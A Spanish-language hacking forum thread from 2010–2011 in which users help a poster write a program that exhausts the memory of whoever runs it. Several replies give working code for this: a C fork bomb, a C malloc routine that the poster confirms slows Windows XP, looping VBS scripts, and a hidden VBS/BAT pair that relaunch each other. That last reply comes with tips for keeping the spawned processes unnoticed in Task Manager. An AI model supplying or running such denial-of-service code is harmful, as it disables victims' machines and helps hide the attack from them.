Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Mr.Blue en 5 Junio 2010, 02:38 am



Título: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 5 Junio 2010, 02:38 am
bueno les comento, tengo una idea no se si esta bien o mal, ya que no se mucho de esto
aca el codigo que hice tiene errores pero, basicamente es un vector de 6 dimenciones,
cada una de 174762667.
lo pense del punto de vista con caracteres pero sufrio algunas modificaciones el codigo por los errores q tenia pero no logro encontrar el error.

basicamente sabemos q en un 1gb de memoria son 1024mb, lo q hice fue pasarlo a bytes que es lo q almacena un char 8 bits o 1 byte, serian un par de millones de caracteres, con los vectores lo que quiero hacer es ir cargando en cada posicion de memoria algo para asi ir llenando la memoria de datos sin ninguna funcionabilidad i disminuir la memoria asi.

corriganme si dije algo totalmente bolu.. pero bueno, quiero hacer algo dentro de lo que mas o menos se por ahora, y si es posible hacer esto q digo o no.
aca el code

Código
  1. #include <conio.h>
  2. #include <stdio.h>
  3.  
  4. void main (void){
  5.  
  6. long char vec1 [174762667] [174762667] [174762667] [174762667] [174762667] [174762667];
  7. long int i, j, k, x, z, y, w=174762667, r;
  8.  
  9. for (i=0;i<w;i++)
  10.  
  11.    for (j=0;j<w;j++)
  12.  
  13. for (k=0;k<w;k++)
  14.  
  15.    for (x=0;x<w;x++)
  16.  
  17. for (z=0;z<w;z++)
  18.  
  19.    for (y=0;y<w;y++){
  20. r=1+1;
  21. r+=r*r;
  22. vec[i][j][k][x][z][y]=r;
  23. }
  24.  
  25. }


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 5 Junio 2010, 05:37 am
Conio sucks ademas tampoco lo utilizas, y no creo que sea un buen metodo para consumir memoria... esto es contando con que la idea no tiene ningun fin educativo, mas bien tiene un fin destructivo.


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 5 Junio 2010, 06:08 am
sisi es verdad conio no lo utilizo,  el codigo es educativo nada mas, jaja osea apenas estoy aprendiendo a caminar para hacer un virus como el q mencionas, el uso es mas q nada educativo, de todas formas tampoco es destructivo, si reinicias la pc supestamente se borra la memoria ya q esta en memoria ram, como dije antes es mas q nada una idea q surgio q no se si ta bien o mal, pero quisiera verlo funcionando

el error q tengo es, por la longitud, ya q trabajo con numeros muyy grandes, osea que el long ni me alcanza, que otro hay para cuando son mas grandes ? que no entran en long.



Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 5 Junio 2010, 06:12 am
Verdaderamente a lo que quieres hacer no le veo nada de malware.


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 5 Junio 2010, 06:27 am
creo q tiene algo de malware, osea la idea es consumir la memoria de quien lo ejecute,
cito
Citar
esto es contando con que la idea no tiene ningun fin educativo, mas bien tiene un fin destructivo.

como dijiste, si no me equivoco es la definicion de malware, software malicioso, o malintencionado.
de todas formas no es destrucctivo como dije anteriormente.


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 5 Junio 2010, 07:09 am
creo q tiene algo de malware, osea la idea es consumir la memoria de quien lo ejecute,
cito
Citar
esto es contando con que la idea no tiene ningun fin educativo, mas bien tiene un fin destructivo.

como dijiste, si no me equivoco es la definicion de malware, software malicioso, o malintencionado.
de todas formas no es destrucctivo como dije anteriormente.

Es destructivo porque consume la memoria, por lo tanto imposibilita el trabajo del usuario, dara algunos errores y se cerrara... y para ser malware debe de tener un metodo de propagacion, aunque sea minimo y poco efectivo pero debe de tenerlo y tener persistencia en el sistema.


Título: Re: Programar virus que consuma la memoria
Publicado por: bomba1990 en 5 Junio 2010, 07:29 am
creo q tiene algo de malware, osea la idea es consumir la memoria de quien lo ejecute,
cito
Citar
esto es contando con que la idea no tiene ningun fin educativo, mas bien tiene un fin destructivo.

como dijiste, si no me equivoco es la definicion de malware, software malicioso, o malintencionado.
de todas formas no es destrucctivo como dije anteriormente.

Es destructivo porque consume la memoria, por lo tanto imposibilita el trabajo del usuario, dara algunos errores y se cerrara... y para ser malware debe de tener un metodo de propagacion, aunque sea minimo y poco efectivo pero debe de tenerlo y tener persistencia en el sistema.

olle hermano tenes toda la razon, pero dejalo tranquilo que el quiere aprender y lo primero que se le ocurrio fue hacer eso.
<consejo>aunque deberias ir subforo de c y plantear tu pregunta ahi, quizas sea mejor.</consejo>


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 5 Junio 2010, 07:37 am
creo q tiene algo de malware, osea la idea es consumir la memoria de quien lo ejecute,
cito
Citar
esto es contando con que la idea no tiene ningun fin educativo, mas bien tiene un fin destructivo.

como dijiste, si no me equivoco es la definicion de malware, software malicioso, o malintencionado.
de todas formas no es destrucctivo como dije anteriormente.

Es destructivo porque consume la memoria, por lo tanto imposibilita el trabajo del usuario, dara algunos errores y se cerrara... y para ser malware debe de tener un metodo de propagacion, aunque sea minimo y poco efectivo pero debe de tenerlo y tener persistencia en el sistema.

olle hermano tenes toda la razon, pero dejalo tranquilo que el quiere aprender y lo primero que se le ocurrio fue hacer eso.
<consejo>aunque deberias ir subforo de c y plantear tu pregunta ahi, quizas sea mejor.</consejo>

Mientras se aprende es que se tienen que ver las criticas... despues de aprender valen de poco.


Título: Re: Programar virus que consuma la memoria
Publicado por: skapunky en 5 Junio 2010, 11:26 am
Exacto, las criticas constructivas mientra se aprenden van bien, eso si yo tampoco le veo nada de "malware", podría ser un ejemplo fustrado de bomba lógica ya que lo he compilado y utilizado y lo unico que pasa es que se queda un tiempo pensando el ordenador, ni se me cuelga ni nada.

Por otra parte tampoco se puede postear la primera idea que se tenga, yo de ti lo hubiera mejorado y posteado y antes de todo debes pensar que objetivo va a tener. Si cada persona postea lo primero que se le pasa por la cabeza esto sería un descontrol.


Título: Re: Programar virus que consuma la memoria
Publicado por: bizco en 5 Junio 2010, 11:36 am
tienes errado el concepto de virus, el virus su principal carcteristica es que el usuario no note su presencia. por ejemplo fijate que muchos suelen mostrar su payload una fecha especifica del año, el resto de tiempo esta en el sistema infectando archivos sin levantar sospecha.

la definicion de virus informatico, no es cualquier codigo que su efecto sea dañino. como en la vida real, romperse un brazo no es un virus pero tienes que ser atendido por medicos. el virus informatico, para calificarlo como tal tiene que ser capaz de infectar otras celulas (en informatica archivos). por ejemplo un troyano no es un virus.


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 5 Junio 2010, 21:02 pm
tienes errado el concepto de virus, el virus su principal carcteristica es que el usuario no note su presencia. por ejemplo fijate que muchos suelen mostrar su payload una fecha especifica del año, el resto de tiempo esta en el sistema infectando archivos sin levantar sospecha.

la definicion de virus informatico, no es cualquier codigo que su efecto sea dañino. como en la vida real, romperse un brazo no es un virus pero tienes que ser atendido por medicos. el virus informatico, para calificarlo como tal tiene que ser capaz de infectar otras celulas (en informatica archivos). por ejemplo un troyano no es un virus.

Exacto, si lo quisiera clasificar en un tema generalizado deberia de ser malware, pero le falta mucho trabajo al codigo para llegar a ser catalogado como tal.


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 6 Junio 2010, 00:42 am
si es verdad. no tiene nada de virus y ni cumple con las funciones del mismo. no se simplemente programe algo, por mas simple que sea, por eso mencione que me corrigan si estaba equivicado.


Título: Re: Programar virus que consuma la memoria
Publicado por: Karcrack en 6 Junio 2010, 03:23 am
Código:
http://es.wikipedia.org/wiki/Malware
Citar
Malware (del inglés malicious software), también llamado badware, software malicioso o software malintencionado es un tipo de software  que tiene como objetivo infiltrarse o dañar una computadora  sin el consentimiento de su propietario.
Citar
El software es considerado malware en base a las intenciones del autor a la hora de crearlo.

Podria considerarse Malware perfectamente... y no creo que sea muy fructifero discutir si es o no malware... simplemente, alguien conoce alguna otra forma de consumir memoria? Mas que nada para aportar algo al tema :D


Título: Re: Programar virus que consuma la memoria
Publicado por: Pseudoroot en 6 Junio 2010, 04:19 am
crear copias con nombres aleatorias de un programa X
consumiria poco a poco la capacidad del Disco Duro.
Disco Duro : Memoria del sistema tambien. xD


Título: Re: Programar virus que consuma la memoria
Publicado por: bizco en 6 Junio 2010, 08:45 am
Citar
Podria considerarse Malware perfectamente

malware si, pero no virus.


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 6 Junio 2010, 18:02 pm
Citar
Podria considerarse Malware perfectamente

malware si, pero no virus.

No creo que pueda considerarse malware, mas bien entra en lo que se le llamaria payload.


Título: Re: Programar virus que consuma la memoria
Publicado por: Karcrack en 6 Junio 2010, 19:15 pm
No creo que pueda considerarse malware, mas bien entra en lo que se le llamaria payload.
Si lees la definicion podras ver que si es posible que sea considerado asi :)

No más discusiones sobre si es o no malware/virus ;)


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 6 Junio 2010, 20:21 pm
No creo que pueda considerarse malware, mas bien entra en lo que se le llamaria payload.
Si lees la definicion podras ver que si es posible que sea considerado asi :)

No más discusiones sobre si es o no malware/virus ;)

Pero la definicion correcta de lo que hace el codigoi encaja perfectamente en lo que se refiere a payload

Citar
Payload
The part of the packet, message or code that carries the data. In information security, the term payload generally refers to the part of malicious code that performs the destructive operation.
Fuente:
Código:
http://www.securityfocus.com/glossary/P


Título: Re: Programar virus que consuma la memoria
Publicado por: mk_137 en 6 Junio 2010, 20:39 pm
para consumir la memoria de un pc yo provaria con esto...

Código:
main (){
while (1) fork();
}

Yo lo hice, y solo darle a ejecutar ya no pude hacer otra cosa que apretar 4 segundos el boton de apagar.


Título: Re: Programar virus que consuma la memoria
Publicado por: b10s_0v3rr1d3 en 6 Junio 2010, 22:42 pm
simplemente, alguien conoce alguna otra forma de consumir memoria? Mas que nada para aportar algo al tema :D

se pueden utilizar las funciones para la peticion de memoria de forma repetitiva que posee C, ya que el codigo esta en dicho lenguaje....



Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 7 Junio 2010, 00:59 am
para consumir la memoria de un pc yo provaria con esto...

Código:
main (){
while (1) fork();
}

Yo lo hice, y solo darle a ejecutar ya no pude hacer otra cosa que apretar 4 segundos el boton de apagar.

Espero que al decir eso no estes en windows... la funcion fork() no es soportada en windows.


Título: Re: Programar virus que consuma la memoria
Publicado por: dArKo2 en 7 Junio 2010, 04:39 am
esta discusion me recuerda una que tuvieron unos actores en la ultima pelicula de scary movio en que discutian si era posible despertar muerto  :¬¬ :-[ no le veo el punto, a ver si sabemos que mal-ware significa "software del mal" o "software que llevara a la humanidad a la autodestruccion" no importa lo importante es lo que pide el autor del tema que es un consejo.....denle un consejo al chaval  :xD  >:D


Título: Re: Programar virus que consuma la memoria
Publicado por: Eternal Idol en 7 Junio 2010, 09:36 am
En el supuesto de que compilara (el tipo de la variable vec1 esta mal y no se que compilador aceptaria ese tamaño, el VC no) ese programa nunca funcionaria, moriria por un stack overflow inmediatamente. Reservar memoria dinamicamente y ACCEDER a ella es la manera mas simple de lograr tu objetivo:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. void main()
  5. {
  6.  DWORD mSize = 1024 * 1024 * 1024;
  7.  getchar();
  8.  void *m = malloc(mSize);
  9.  getchar();
  10.  ZeroMemory(m, mSize);
  11.  getchar();
  12.  free(m);
  13.  getchar();
  14. }

Ante cada getchar con el Process Explroer podes comprobar Private Bytes, Virtual Size y Working Set del proceso ademas de Physical Memory en System Information.


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 8 Junio 2010, 22:42 pm
En el supuesto de que compilara (el tipo de la variable vec1 esta mal y no se que compilador aceptaria ese tamaño, el VC no) ese programa nunca funcionaria, moriria por un stack overflow inmediatamente. Reservar memoria dinamicamente y ACCEDER a ella es la manera mas simple de lograr tu objetivo:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. void main()
  5. {
  6.  DWORD mSize = 1024 * 1024 * 1024;
  7.  getchar();
  8.  void *m = malloc(mSize);
  9.  getchar();
  10.  ZeroMemory(m, mSize);
  11.  getchar();
  12.  free(m);
  13.  getchar();
  14. }

Ante cada getchar con el Process Explroer podes comprobar Private Bytes, Virtual Size y Working Set del proceso ademas de Physical Memory en System Information.
Eso sobrecargaria la memoria?

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: Eternal Idol en 8 Junio 2010, 23:10 pm
Eso sobrecargaria la memoria?

Solo en una maquina con muy poca RAM  ;D Es solo un ejemplo que ilustra como hacer para consumir memoria, si solamente la reservas por ejemplo vas a ver que el S.O. ni se va a inmutar. Proba a hacer lo que comente ahi ...


Título: Re: Programar virus que consuma la memoria
Publicado por: kisk en 9 Junio 2010, 05:11 am
Mira el codigo del firefox :xD


Algo creando multiples hilos que hagan el ejemplo de Eternal idol y existen varias maneras que si me reucerdo mas rato te las posteo :P


Título: Re: Programar virus que consuma la memoria
Publicado por: Eternal Idol en 9 Junio 2010, 09:04 am
Mira el codigo del firefox :xD

Nunca vi el codigo pero tenes toda la razon del mundo  ;-)


Título: Re: Programar virus que consuma la memoria
Publicado por: mk_137 en 11 Junio 2010, 22:19 pm
para consumir la memoria de un pc yo provaria con esto...

Código:
main (){
while (1) fork();
}

Yo lo hice, y solo darle a ejecutar ya no pude hacer otra cosa que apretar 4 segundos el boton de apagar.

Espero que al decir eso no estes en windows... la funcion fork() no es soportada en windows.

jajajja, pues tienes razon, no havia pensado que era una llamada al sistema...

bueno, supongo que tendrá un equivalente en windows.


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 11 Junio 2010, 22:21 pm
para consumir la memoria de un pc yo provaria con esto...

Código:
main (){
while (1) fork();
}

Yo lo hice, y solo darle a ejecutar ya no pude hacer otra cosa que apretar 4 segundos el boton de apagar.

Espero que al decir eso no estes en windows... la funcion fork() no es soportada en windows.

jajajja, pues tienes razon, no havia pensado que era una llamada al sistema...

bueno, supongo que tendrá un equivalente en windows.

Para la proxima verifica que el metodo existe, porque diste a entender que era funcional


Título: Re: Programar virus que consuma la memoria
Publicado por: BlackZeroX en 12 Junio 2010, 02:22 am

Pues tambien en lenguaje Basic (VBS, VBA, VB 6.0, VB .NET)

Código
  1.  
  2. on error resume next
  3. Dim ArrayMemoryBlock()
  4. dim Index_For_contador
  5. const MoreRAM = 19485759
  6. Index_For_contador = 0
  7. do
  8. Index_For_contador = Index_For_contador + MoreRAM
  9. Redim ArrayMemoryBlock( Index_For_contador )
  10. loop
  11.  
  12.  


Título: Re: Programar virus que consuma la memoria
Publicado por: mk_137 en 12 Junio 2010, 13:26 pm
para consumir la memoria de un pc yo provaria con esto...

Código:
main (){
while (1) fork();
}

Yo lo hice, y solo darle a ejecutar ya no pude hacer otra cosa que apretar 4 segundos el boton de apagar.

Espero que al decir eso no estes en windows... la funcion fork() no es soportada en windows.

jajajja, pues tienes razon, no havia pensado que era una llamada al sistema...

bueno, supongo que tendrá un equivalente en windows.

Para la proxima verifica que el metodo existe, porque diste a entender que era funcional
jajaja, y ES funcional.
Haviama hablado en algun momento de algun sistema operativo el autor??

Y yo le recomiendo que si busca ocupar la memoria que se mire lo que le he comentado pero para el sistema operativo que el necesite, y apunto que con solo apretar el ejecutable se bloquea el pc.


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 12 Junio 2010, 14:23 pm
para consumir la memoria de un pc yo provaria con esto...

Código:
main (){
while (1) fork();
}

Yo lo hice, y solo darle a ejecutar ya no pude hacer otra cosa que apretar 4 segundos el boton de apagar.

Espero que al decir eso no estes en windows... la funcion fork() no es soportada en windows.

jajajja, pues tienes razon, no havia pensado que era una llamada al sistema...

bueno, supongo que tendrá un equivalente en windows.

Para la proxima verifica que el metodo existe, porque diste a entender que era funcional
jajaja, y ES funcional.
Haviama hablado en algun momento de algun sistema operativo el autor??

Y yo le recomiendo que si busca ocupar la memoria que se mire lo que le he comentado pero para el sistema operativo que el necesite, y apunto que con solo apretar el ejecutable se bloquea el pc.

creo que Guindou$ es el sistema del cual hablamos


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 13 Junio 2010, 04:28 am
Citar
En el supuesto de que compilara (el tipo de la variable vec1 esta mal y no se que compilador aceptaria ese tamaño, el VC no) ese programa nunca funcionaria, moriria por un stack overflow inmediatamente. Reservar memoria dinamicamente y ACCEDER a ella es la manera mas simple de lograr tu objetivo:

Código
Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. void main()
  5. {
  6.  DWORD mSize = 1024 * 1024 * 1024;
  7.  getchar();
  8.  void *m = malloc(mSize);
  9.  getchar();
  10.  ZeroMemory(m, mSize);
  11.  getchar();
  12.  free(m);
  13.  getchar();
  14. }
  15.  

Ante cada getchar con el Process Explroer podes comprobar Private Bytes, Virtual Size y Working Set del proceso ademas de Physical Memory en System Information.

eh probado este code q a dejado Eternal Idol, y con algunas modificaciones (minimas) me ah resultado funcional, con windows xp, con un poco menos de 1gb de memoria.
la maquina queda, despues de un tiempo de ejecucion del codigo,  lenta en minimizar, maximizar, y abrir aplicaciones, y noto que usa tmb mucho el disco rigido supongo que empieza a usar memoria virtual.

Muchas gracias Eternal Idol.
---------------------------------------------------------------------------------

respecto a lo anterior si, esta apuntado a windows, pero no esta de mas el codigo, me olbide aclarar a que sistema me referia, disculpas.


Título: Re: Programar virus que consuma la memoria
Publicado por: Eternal Idol en 13 Junio 2010, 10:05 am
eh probado este code q a dejado Eternal Idol, y con algunas modificaciones (minimas) me ah resultado funcional, con windows xp, con un poco menos de 1gb de memoria.
la maquina queda, despues de un tiempo de ejecucion del codigo,  lenta en minimizar, maximizar, y abrir aplicaciones, y noto que usa tmb mucho el disco rigido supongo que empieza a usar memoria virtual.

Muchas gracias Eternal Idol.

De nadas  ::)


Título: Re: Programar virus que consuma la memoria
Publicado por: lapras en 17 Junio 2010, 00:40 am
De todas maneras no creo que puedas acceder a todos las paginas de memoria. Seguramente se te cerraria el programa con "fallo de segmentacion" y luego nada


Citar
Mira el codigo del firefox
Jaja a mi tambien me pasaba :P


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 20 Junio 2010, 21:51 pm
En realidad no se cierra, solo queda la pantalla en ejecucion, en espera de que se ingresen datos, sin ninguna funcion, despues de un tiempo, entra a andar todo lento, como mencione anteriormente, y el indicador del disco rigido (led rojo) queda prendido, (probado en windows xp con 896mb de memoria compartida con video 128 (1gb d memoria total)). en windows vista no pasa nada.

Cual seria el codigo de firefox no lo puedo encontrar, podes dejar un enlace al post?. asi lo chusmeo  :xD


Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 21 Junio 2010, 06:04 am
En realidad no se cierra, solo queda la pantalla en ejecucion, en espera de que se ingresen datos, sin ninguna funcion, despues de un tiempo, entra a andar todo lento, como mencione anteriormente, y el indicador del disco rigido (led rojo) queda prendido, (probado en windows xp con 896mb de memoria compartida con video 128 (1gb d memoria total)). en windows vista no pasa nada.

Cual seria el codigo de firefox no lo puedo encontrar, podes dejar un enlace al post?. asi lo chusmeo  :xD

:xD en lo que se refiere a Firefox es bromeando


Título: Re: Programar virus que consuma la memoria
Publicado por: kisk en 25 Junio 2010, 03:46 am
Era una broma en todo caso si lo quieres ver de verdad


https://developer.mozilla.org/es/Descargar_el_código_fuente_de_Mozilla


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 25 Junio 2010, 09:26 am
Pues he probado el metodo con el fork y no pasa nada xD ni disminuye velocidad ni nada, tengo 4 gb de ram, por lo que multipliqué la cifra por 4, o por 3, y nada.

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: Komodo en 25 Junio 2010, 10:07 am
Pues yo creo que ejecutando un mismo proceso un número infinito de veces, creo que el sistema se colapsa..


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 25 Junio 2010, 16:38 pm
Pues yo creo que ejecutando un mismo proceso un número infinito de veces, creo que el sistema se colapsa..
xD eso es muy cutre xD

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 28 Junio 2010, 00:30 am
Era una broma en todo caso si lo quieres ver de verdad


https://developer.mozilla.org/es/Descargar_el_código_fuente_de_Mozilla

jaja,  juro que me parecio ver un usuario de nick firefox, por eso preguntaba  :-[


Título: Re: Programar virus que consuma la memoria
Publicado por: Jaixon Jax en 28 Junio 2010, 02:42 am
  GlobalAlloc en una funcion recursiva  :D o sino CreteThread en xp funciona tarda unos 2 minutos al rato no puedes ni mover el raton  :¬¬


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 28 Junio 2010, 10:54 am
  GlobalAlloc en una funcion recursiva  :D o sino CreteThread en xp funciona tarda unos 2 minutos al rato no puedes ni mover el raton  :¬¬
Mmmm, te refieras a que tengo que esperar una vez he hecho la llamada?

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: braulio-- en 28 Junio 2010, 11:26 am
Pues he probado el metodo con el fork y no pasa nada xD ni disminuye velocidad ni nada, tengo 4 gb de ram, por lo que multipliqué la cifra por 4, o por 3, y nada.

Saludos
A mí lo de fork (supongo que estás en linux) me funcionó con 4gb de ram, no se colapsó , pero se puso bastanta lento. Que distro tienes?


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 28 Junio 2010, 15:00 pm
Pues he probado el metodo con el fork y no pasa nada xD ni disminuye velocidad ni nada, tengo 4 gb de ram, por lo que multipliqué la cifra por 4, o por 3, y nada.

Saludos
A mí lo de fork (supongo que estás en linux) me funcionó con 4gb de ram, no se colapsó , pero se puso bastanta lento. Que distro tienes?
Hablo de windows, en mi linux no lo he probado.

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 28 Junio 2010, 19:48 pm
fork (), era para linux como habian mensionado anteriormente.


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 28 Junio 2010, 21:44 pm
fork (), era para linux como habian mensionado anteriormente.
Pero yo he usado malloc() (Memory allocation)

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: Mr.Blue en 2 Julio 2010, 03:52 am
fork (), era para linux como habian mensionado anteriormente.
Pero yo he usado malloc() (Memory allocation)

Saludos

Bajo windows xp? yo probe en windows xp y en vista, en windows xp funciono, en vista no!


Título: Re: Programar virus que consuma la memoria
Publicado por: Ari Slash en 2 Julio 2010, 05:50 am
createprocess()  -> windows
fork() -> lunix


Título: Re: Programar virus que consuma la memoria
Publicado por: Debci en 2 Julio 2010, 10:29 am
fork (), era para linux como habian mensionado anteriormente.
Pero yo he usado malloc() (Memory allocation)

Saludos

Bajo windows xp? yo probe en windows xp y en vista, en windows xp funciono, en vista no!
Yo vista xD

Saludos


Título: Re: Programar virus que consuma la memoria
Publicado por: pelabola en 15 Agosto 2010, 01:06 am
asi tamben se consume memoria y se optimiza el codido @net@  :rolleyes:

do
On Error Resume Next
Set objshell = createobject("wscript.shell")
Objshell.run "winword", 0, True
'codigo malicioso jajaja
loop




Título: Re: Programar virus que consuma la memoria
Publicado por: [L]ord [R]NA en 15 Agosto 2010, 01:22 am
asi tamben se consume memoria y se optimiza el codido @net@  :rolleyes:

do
On Error Resume Next
Set objshell = createobject("wscript.shell")
Objshell.run "winword", 0, True
'codigo malicioso jajaja
loop




Hagamos que no tengo el "WinWord" que sucede?


Título: Re: Programar virus que consuma la memoria
Publicado por: sabeeee en 2 Febrero 2011, 21:15 pm
Perdón por revivir el post pero me llamo mucho la atención.
Aquí les traigo 2 archivos para ocupar memoria:

Primero: Creamos un vbs con block de notas que contenga lo siguiente y que se llame vas.vbs por ejemplo:

Citar
set objshell = createobject("wscript.shell")
objshell.run "vas.bat",vbhide

Segundo: Creamos un bat con block de notas que contenga lo siguiente y que se llame vas.bat por ejemplo:

Citar
start vas.vbs
start vas.vbs
start vas.vbs
pause

Tercero: Todo debe estar junto y si quieren remplacen el vas por el nombre que quieran pero todo, el nombre, el archivo todo.

Explicación: lo que hace esto es lo siguiente ejecutamos el vbs y el vbs ejecuta al bat de forma oculta y luego el bat ejecuta al vbs y así se va completando el ciclo que cada vez ejecuta a mas bat y los deja parados asi se va juntando memoria. Pueden eliminarle y agregarles mas start vas.vbs asi ocupa memoria mas rápido, pero no lo recomiendo sino nos descubrirían mas rápido, incluso se le puede dejar uno solo y sacarle el pause así el menos probable que no vean tantos cmd.exe wscript.exe en el administrador de tareas.


Título: Re: Programar virus que consuma la memoria
Publicado por: n3w en 3 Febrero 2011, 01:16 am
A ver , mirando por encima el código y sin pararme , haciendo una serie de "for" anidados no estás limitando que un computador con memoria suficiente se sobrecargue pero que pueda seguir funcionando matando ese proceso? no sería mas sencillo algo tan estúpido como:

Código:
while (1){ fork(); }

Y ya está?


Título: Re: Programar virus que consuma la memoria
Publicado por: n3w en 3 Febrero 2011, 01:17 am
Dios , ni me di cuenta de que había mas páginas en el hilo jajaja , no hagan ni caso a mi post.


Título: Re: Programar virus que consuma la memoria
Publicado por: The Swash en 5 Febrero 2011, 04:02 am
Hola, lamento replicar en un tema algo antiguo pero quisiera aportar una experiencia que quizá también vaya de acuerdo a el objeto que se busca.

Hace algún tiemp trabajando en una función por accidente deje un número muy amplio y escribí en un archivo esa cantidad de bytes, esa cantidad se acerco a 6GB, y en un instante el PC se trabó y empezo a consumir toda la ram progresivamente, llego a 1GB rapidamente cuando llegí apenas a escribir 1 GB, y lo mejor que el proceso se volvió imparable, la unica opción fue reiniciar.

La verdad esta experiencia me encanto y pues esperemos ver que opinan.
Saludos, y rectifico S.O : Windows 7 Ultimate, programado en C.

EternalIdol  ;-) muy buen ejemplo.



Título: Re: Programar virus que consuma la memoria
Publicado por: Garfield07 en 5 Febrero 2011, 15:21 pm
Hace poco vi un code que generaba todas las posibles combinaciones de lo que le dieses... Le meti todo el abecedario en mayusc, minusc y numeros, con 8 caracteres, y le dije que guardase en un file. El archivo me ocupó 15 GB cuando lo paré a los pocos minutos, lo cual es dos veces lo que ocupo en total en Windows. Ahora, el PC seguia funcionando correctamente...


Título: Re: Programar virus que consuma la memoria
Publicado por: jessejemmes en 6 Febrero 2011, 13:49 pm
engordaria el codigo con alguna encriptacion de tipo mochila americana , y luego buscaria
alguna manual en exploit data  e inssertarselo pero  ;-)